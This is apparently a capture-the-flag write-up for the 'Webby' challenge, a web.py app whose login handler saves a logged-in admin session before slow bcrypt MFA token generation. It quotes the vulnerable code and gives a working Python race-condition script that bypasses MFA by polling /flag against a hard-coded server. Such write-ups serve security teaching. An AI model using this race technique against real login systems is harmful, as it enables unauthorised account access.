Challenge source
Introduction
Webby is a tiny web.py app behind an MFA gate. The intended flow is: valid credentials -> MFA page -> enter token -> flag. The implementation has a race condition, though: the server marks you logged in before it computes the expensive MFA token and clears the session, so a concurrent request can reach /flag during that window and skip MFA entirely.

Context Explanation
- Stack: Python
web.py,bcrypt,shelve-backed sessions (/tmp/session.shelf). - Auth: a static user DB;
admin/adminrequires MFA. - MFA: a per-session
tokenMFAderived with bcrypt cost 14, then wrapped in MD5, deliberately slow. - Flag gate:
/flagonly checkssession.loggedInandsession.username == 'admin'.
Key bits:
# Session + flag
session = web.session.Session(app, web.session.ShelfStore(shelve.open("/tmp/session.shelf")))
FLAG = open("/tmp/flag.txt").read()
Directive
Race it with two concurrent requests on the same session cookie: a POST / to log in as admin, and a GET /flag fired repeatedly while the server is still grinding on the MFA token.
Solution
1) Credentials and MFA requirement
def check_user_creds(user,pw):
users = {
# Add more users if needed
'user1': 'user1',
'user2': 'user2',
'user3': 'user3',
'user4': 'user4',
'admin': 'admin',
}
try:
return users[user] == pw
except:
return False
def check_mfa(user):
users = {
'user1': False,
'user2': False,
'user3': False,
'user4': False,
'admin': True,
}
try:
return users[user]
except:
return False
2) Vulnerable login flow (TOCTOU)
On good credentials the code marks the session logged in and writes it to disk, then starts MFA setup:
# POST '/' (login)
def POST(self):
f = login_Form()
if not f.validates():
session.kill()
return render.index(f)
i = web.input()
if not check_user_creds(i.username, i.password):
session.kill()
raise web.seeother('/')
else:
session.loggedIn = True
session.username = i.username
session._save()
if check_mfa(session.get("username", None)):
session.doMFA = True
# heavy work
session.tokenMFA = hashlib.md5(bcrypt.hashpw(str(secrets.randbits(random.randint(40,65))).encode(),bcrypt.gensalt(14))).hexdigest()
session.loggedIn = False # <-- flipped back *after* the heavy work
session._save()
raise web.seeother("/mfa")
return render.login(session.get("username",None))
bcrypt.gensalt(14) + hashpw is slow on purpose, and that’s the window:
session.loggedIn == Trueandsession.username == 'admin'are already saved,- the app is still busy generating
tokenMFA, - the flip back to
loggedIn = Falsehasn’t been written yet.
3) Flag guard (weak)
# GET '/flag'
if not session.get("loggedIn", False) or session.get("username", None) != "admin":
raise web.seeother('/')
return render.flag(FLAG)
No MFA state here, just the two session flags. Hit this during the window and it’s over.
4) PoC (concurrent requests)
Fire the login in one thread and hammer /flag in parallel until a GET lands inside the bcrypt window:
import requests, threading, time
BASE_URL = "http://52.59.124.14:5010"
session = requests.Session()
session.get(BASE_URL + "/")
cookies = dict(session.cookies)
def login_admin():
data = {"username": "admin", "password": "admin", "submit": ""}
requests.post(BASE_URL + "/", data=data, cookies=cookies)
thread = threading.Thread(target=login_admin, daemon=True)
thread.start()
time.sleep(0.02)
end = time.time() + 2
while time.time() < end:
response = requests.get(BASE_URL + "/flag", cookies=cookies)
if response.status_code == 200 and "flag" in response.text.lower():
print(response.text)
break
time.sleep(0.005)
thread.join(timeout=1)

Why it works: session._save() writes loggedIn=True before the costly bcrypt step. While bcrypt runs, the same cookie can request /flag, and the check passes because it only looks at loggedIn and username.
Tips & Tricks
- Watch for “set then unset later”: a privileged bit that’s set and cleared around heavy crypto or IO is a prime spot to race reads of the protected endpoint.
- Session stores matter: disk/shelve-backed sessions plus separate requests are a classic source of TOCTOU windows.